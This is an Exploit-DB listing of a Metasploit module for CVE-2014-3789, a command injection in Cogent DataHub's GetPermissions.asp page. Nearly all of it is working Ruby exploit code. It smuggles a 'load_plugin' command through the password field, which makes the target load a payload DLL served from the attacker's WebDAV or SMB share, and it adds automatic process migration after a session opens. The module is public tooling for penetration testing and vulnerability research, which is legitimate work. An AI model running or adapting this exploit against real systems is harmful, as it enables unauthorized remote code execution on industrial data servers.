Cogent DataHub - Command Injection (Metasploit)

EDB-ID:

33880




Platform:

Windows

Date:

2014-06-25


##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  # Exploitation is reliable, but the service hangs and needs manual restarting.
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'          => 'Cogent DataHub Command Injection',
      'Description'   => %q{
        This module exploits an injection vulnerability in Cogent DataHub prior
        to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which
        makes insecure use of the datahub_command function with user controlled
        data, allowing execution of arbitrary datahub commands and scripts. This
        module has been tested successfully with Cogent DataHub 7.3.4 on
        Windows 7 SP1.
      },
      'Author'      => [
        'John Leitch', # Vulnerability discovery
        'juan vazquez' # Metasploit module
      ],
      'Platform'    => 'win',
      'References'  =>
        [
          ['ZDI', '14-136'],
          ['CVE', '2014-3789'],
          ['BID', '67486']
        ],
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => {
        'WfsDelay' => 30,
        'InitialAutoRunScript' => 'migrate -f'
      },
      'Targets'     =>
        [
          [ 'Cogent DataHub < 7.3.5', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 29 2014'
    )
    register_options(
      [
        OptString.new('URIPATH',   [ true,  'The URI to use (do not change)', '/']),
        OptPort.new('SRVPORT',     [ true,  'The daemon port to listen on ' + 
                                                      '(do not change)', 80 ]),
        OptInt.new('WEBDAV_DELAY', [ true,  'Time that the HTTP Server will ' +
                                          'wait for the payload request', 20]),
        OptString.new('UNCPATH',   [ false, 'Override the UNC path to use.' ])
      ], self.class)
  end

  def autofilter
    false
  end

  def on_request_uri(cli, request)
    case request.method
      when 'OPTIONS'
        process_options(cli, request)
      when 'PROPFIND'
        process_propfind(cli, request)
      when 'GET'
        process_get(cli, request)
      else
        vprint_status("#{request.method} => 404 (#{request.uri})")
        resp = create_response(404, "Not Found")
        resp.body = ""
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
    end
  end

  def process_get(cli, request)

    if blacklisted_path?(request.uri)
      vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      cli.send_response(resp)
      return
    end

    if request.uri.include?(@basename)
      print_status("GET => Payload")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_dll({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Treat index.html specially
    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      vprint_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")

      resp.body  = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|
      resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    # Anything else is probably a request for a data file...
    vprint_status("GET => DATA (#{request.uri})")
    data = rand_text_alpha(4 + rand(4))
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
                    + ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
                    + 'LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    vprint_status("PROPFIND #{path}")

    if path !~ /\/$/

      if blacklisted_path?(path)
        vprint_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        vprint_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        vprint_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    vprint_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
        <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
        when 0
          body << generate_shares(path)
        when 1
          body << generate_files(path)
      end
    else
      vprint_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = @share_name
    %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    base  = @basename
    exts  = @extensions.gsub(",", " ").split(/\s+/)
    files = ""
    exts.each do |ext|
      files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
    end

    files
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    share_path = "/#{@share_name}"
    payload_path = "#{share_path}/#{@basename}.dll"
    case uri
      when payload_path
        return false
      when share_path
        return false
      else
        return true
    end
  end

  def check
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
      'vars_post' =>
        {
          'username' => rand_text_alpha(4 + rand(4)),
          'password' => rand_text_alpha(4 + rand(4))
        }
      })

    if res && res.code == 200 && res.body =~ /PermissionRecord/
        return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def send_injection(dll)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
      'vars_post' =>
        {
          'username' => rand_text_alpha(3 + rand(3)),
          'password' => "#{rand_text_alpha(3 + rand(3))}\")" + 
                        "(load_plugin \"#{dll}\" 1)(\""
        }
      }, 1)

    res
  end

  def on_new_session(session)
    if service
      service.stop
    end

    super
  end

  def primer
    print_status("#{peer} - Sending injection...")
    res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
    if res
      print_error("#{peer} - Unexpected answer")
    end
  end

  def exploit
    if datastore['UNCPATH'].blank?
      @basename = rand_text_alpha(3)
      @share_name = rand_text_alpha(3)
      @extensions = "dll"
      @system_commands_file = rand_text_alpha_lower(4)

      if (datastore['SRVHOST'] == '0.0.0.0')
        @myhost = Rex::Socket.source_address('50.50.50.50')
      else
        @myhost = datastore['SRVHOST']
      end

      @exploit_unc  = "\\\\#{@myhost}\\"

      if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
        fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + 
                  'URIPATH=/')
      end

      print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +
                    "\\#{@basename}.dll")

      begin
        # The Windows Webclient needs some time...
        Timeout.timeout(datastore['WEBDAV_DELAY']) { super }
      rescue ::Timeout::Error
        service.stop if service
      end
    else
      # Using external SMB Server
      if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/
        host = $1
        share_name = $2
        dll_name = $3
        print_status("#{peer} - Sending injection...")
        res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")
        if res
          print_error("#{peer} - Unexpected answer")
        end
      else
        fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + 
                  '\\\\host\\shared_folder\\base_name.dll')
      end
    end
  end

end